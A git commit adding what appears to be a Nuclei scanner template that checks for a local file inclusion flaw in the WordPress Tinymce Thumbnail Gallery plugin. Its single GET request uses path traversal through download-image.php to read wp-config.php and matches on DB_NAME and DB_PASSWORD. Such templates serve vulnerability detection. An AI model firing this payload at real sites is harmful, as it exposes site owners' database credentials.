Create wp-tinymce-thumbnail-plugin-lfi.yaml

2021-10-26 08:09:35 +09:00 · 2021-10-26 08:09:35 +09:00 · c3c2fb4945
parent 1c4db9df26
commit c3c2fb4945
1 changed files with 26 additions and 0 deletions
--- a/wp-tinymce-thumbnail-plugin-lfi.yaml
+++ b/wp-tinymce-thumbnail-plugin-lfi.yaml
@ -0,0 +1,26 @@
+id: wp-tinymce-thumbnail-plugin-lfi
+
+info:
+  name: Tinymce Thumbnail Gallery <= 1.0.7 - download-image.php LFI
+  author: 0x_Akoko
+  severity: high
+  tags: wordpress,wp-theme,lfi,wp
+  reference: https://wpscan.com/vulnerability/4a49b023-c1c9-4cc4-a2fd-af5f911bb400
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "DB_NAME"
+          - "DB_PASSWORD"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200